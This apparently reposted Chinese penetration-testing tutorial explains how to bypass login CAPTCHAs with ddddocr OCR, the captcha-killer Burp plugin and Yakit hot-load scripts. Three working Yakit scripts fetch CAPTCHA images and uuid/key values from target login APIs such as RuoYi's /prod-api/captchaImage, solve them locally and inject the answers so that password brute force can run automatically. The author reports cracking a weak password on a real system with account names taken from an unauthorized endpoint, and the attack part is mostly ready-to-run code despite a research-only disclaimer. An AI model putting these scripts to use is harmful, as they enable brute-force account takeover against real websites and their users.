文章总结: 本文介绍利用ddddocr工具自动化识别验证码以绕过登录防护的方法。文章涵盖默认模型使用、针对复杂验证码的模型训练流程,以及结合Burp插件和Yakit热加载实现自动化爆破的实战技巧,有效应对包含验证码及动态参数校验的登录场景。 综合评分: 90 文章分类: 渗透测试,实战经验,WEB安全,安全工具
输入要下载验证码的系统的地址,再输入获取验证码的接口,输入要下载的数量,输入验证码要保存的目录,它会自动下载
实战应用
burpsuite
现在目前已有造好的轮子,可以直接拿来用,但是如果遇到特殊的验证码还是需要自己训练
http://github.com/c0ny1/captcha-killer
运行 codereg.py
codereg.py 中写了针对不同验证的接口,可通过该接口获取验证码的 base64 去根据 ddddocr 模型去识别验证码
关于 burpsuite 的插件网上有很多我就不多说了
这种适用于只对验证码校验的系统,但是大部分系统是校验两个参数,例如若依
它是通过 uuid 和 code 验证码参数来校验的
而这两个参数可以通过/prod-api/captchaImage 这个接口获取到
这样子就无法使用 burp 插件来进行爆破, 它没有识别另一个参数的功能,但是我们可以使用 yakit 的热加载功能去实现
这里我已经写好了代码
它先通过/prod-api/captchaImage 接口去获取验证码,然后提取响应包 json 中的 uuid 和 img 参数, img 参数内容交给本地使用 codereg.py 启动的接口去识别验证码,再将提取的 uuid 和识别成功的验证码结果替换掉请求包中的参数内容
// ======================= 验证码接口 =======================
packet1 = `
GET /prod-api/captchaImage HTTP/1.1
Host: xxxxxxxx
Accept: application/json
isToken: false
`
// ======================= OCR 接口(只接收 base64) =======================
packet2 = `
POST /reg2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
Content-Type: text/plain
Connection: close
`
// ======================= beforeRequest =======================
// beforeRequest 允许在发送数据包前进行一次处理
// 定义为 func(origin []byte) []byte
beforeRequest = func(req){
// 1. 从原始请求中提取 Cookie
cookie = poc.GetHTTPPacketHeader(req, "Cookie")
// 2. 携带 Cookie 请求验证码接口
rsp1, req1 = poc.HTTP(packet1, poc.replaceHeader('Cookie', Cookie))~
// 解析验证码接口返回
rawBody = poc.GetHTTPPacketBody(rsp1)
respJson = json.loads(rawBody)
image = respJson["img"]
uuid1 = respJson["uuid"]
// 3. 将验证码图片发送给 OCR 识别
rsp2, req2 = poc.HTTP(packet2, poc.replaceBody(image,false))~
captcha = poc.GetHTTPPacketBody(rsp2)
// 4. 回填验证码与 uuid 到原始请求
reqStr = string(req)
reqStr = str.ReplaceAll(reqStr, "__captcha__", string(captcha))
reqStr = str.ReplaceAll(reqStr, "__uuid__", string(uuid1))
return []byte(reqStr)
}
虽然若依使用的的扭曲的验证码算数图片,但是可以看到还是有可以识别出来的,只是成功率很低,如果自己可以训练好,可以直接拿来用
实战案例 一(验证+随机参数校验)
废话不多说,直接上实战,开局一个框
它的验证码是不可以复用的
它是通过/api/v1/captcha 接口来获取验证码 base64 图片,且有两个校验参数一个是验证码,一个是 key 值
它和若依系统有一点区别若依只需识别响应包中 json 中的 img 参数的值就可以,但是这个系统的 base64 值在 json 中的 body 的 data 的 image 参数,而且它还有多余的data:image/png;base64,要把这段去掉,并且也要识别 key 值
根据特定系统编写特定代码
获取 json 中的 body 的 data 的 image 参数,把去掉前 22 个字符
key 值还是使用 uuid,我就不改了
// ======================= 验证码接口 =======================
packet1 = `
POST /api/v1/captcha HTTP/1.1
Host: xxxxxx
Accept: application/json
isToken: false
`
// ======================= OCR 接口(只接收 base64) =======================
packet2 = `
POST /reg06 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
Content-Type: text/plain
Connection: close
`
// ======================= beforeRequest =======================
// beforeRequest 允许在发送数据包前进行一次处理
// 定义为 func(origin []byte) []byte
beforeRequest = func(req) {
// 1. 从原始请求中提取 Cookie
cookie = poc.GetHTTPPacketHeader(req, "Cookie")
// 2. 携带 Cookie 请求验证码接口
rsp1, req1 = poc.HTTP(packet1, poc.replaceHeader('Cookie', cookie))~
// 解析验证码接口返回
rawBody = poc.GetHTTPPacketBody(rsp1)
respJson = json.loads(rawBody)
// 适配新接口
image = respJson["body"]["data"]["image"]
uuid1 = respJson["body"]["data"]["key"]
//截去前22个字符
imageBase64 = image[22:]
// 3. 将验证码图片发送给 OCR 识别
rsp2, req2 = poc.HTTP(packet2, poc.replaceBody(imageBase64, false))~
captcha = poc.GetHTTPPacketBody(rsp2)
// 4. 回填验证码与 uuid 到原始请求
reqStr = string(req)
reqStr = str.ReplaceAll(reqStr, "__captcha__", string(captcha))
reqStr = str.ReplaceAll(reqStr, "__uuid__", string(uuid1))
return []byte(reqStr)
}
把它放在 yakit 的热加载中
可以看到可以成功识别验证码,且成功率很高,可以直接爆破账号密码
这个系统与若依不同,它的验证码比若依好识别,默认的模型库完全可以支持
针对不同的系统需要修改热加载代码来达到自动识别验证码且可以爆破账号密码的功能,但是代码都大差不差,json 格式不一样就多加个正则表达式,就是将 base64 图片格式提取出来交给 py 脚本去识别就可以了
实战案例 二(只对验证码校验)
只对验证码进行校验代码奉上(用这个就可以不用 burp 插件因为 burp 有很多情况没有 yakit 快)
// ======================= 验证码接口 =======================
packet1 = `
GET /tools-api/getCaptcha HTTP/1.1
Host: xxxxxxx
`
// ======================= OCR 接口(只接收 base64) =======================
packet2 = `
POST /reg06 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
Content-Type: text/plain
Connection: close
`
// ======================= beforeRequest =======================
// beforeRequest 允许在发送数据包前进行一次处理
// 定义为 func(origin []byte) []byte
beforeRequest = func(req) {
// 1. 从原始请求中提取 Cookie
cookie = poc.GetHTTPPacketHeader(req, "Cookie")
// 2. 携带 Cookie 请求验证码接口
rsp1, req1 = poc.HTTP(packet1, poc.replaceHeader('Cookie', cookie))~
// 解析验证码接口返回
imgBytes = poc.GetHTTPPacketBody(rsp1)
imgBytes = codec.EncodeBase64(imgBytes)
// 3. 将验证码图片发送给 OCR 识别
rsp2, req2 = poc.HTTP(packet2, poc.replaceBody(imgBytes, false))~
captcha = poc.GetHTTPPacketBody(rsp2)
// 4. 回填验证码与 uuid 到原始请求
reqStr = string(req)
reqStr = str.ReplaceAll(reqStr, "__captcha__", string(captcha))
return []byte(reqStr)
}
把它放到 yakit 热加载中
该系统验证码不可复用,用我这个热加载+codereg.py 刚刚就成功识别并且 跑出来了账号密码
可以看见验证码被成功识别响应大小为 66
我这里是通过未授权接口已经拿到了账号,通过拿到的一堆账号去跑密码,成功跑到一个弱口令并且成功登录后台,成功的响应大小为 49
总结
1.针对不是扭曲的图片验证码识别成功率很高,完全可以达到爆破账号密码的功能
2.针对若依系统这种扭曲的验证码不好识别的验证码,需要进一步训练模型来提高识别成功率
3.只对验证码进行校验的登录可以使用 burp 插件更使用一些,可以直接爆破账号密码
4.对两个参数进行校验,例如验证码 +uuid、验证码+key,需要通过 yakit 热加载进行爆破
5.对于获取验证码接口为 https 协议的,要在热加载代码中把:443 端口加进去,不然会无法获取到验证码
6.识别成功率很高但不是百分之百,所以可以多跑几遍,确保账号对应的密码都被爆破到,或者可以自己加一个循环,识别到验证码错误让它再换一个验证码去爆破
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:掌控安全EDU zkaq-newugly《从传统登录防护到自动化识别实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论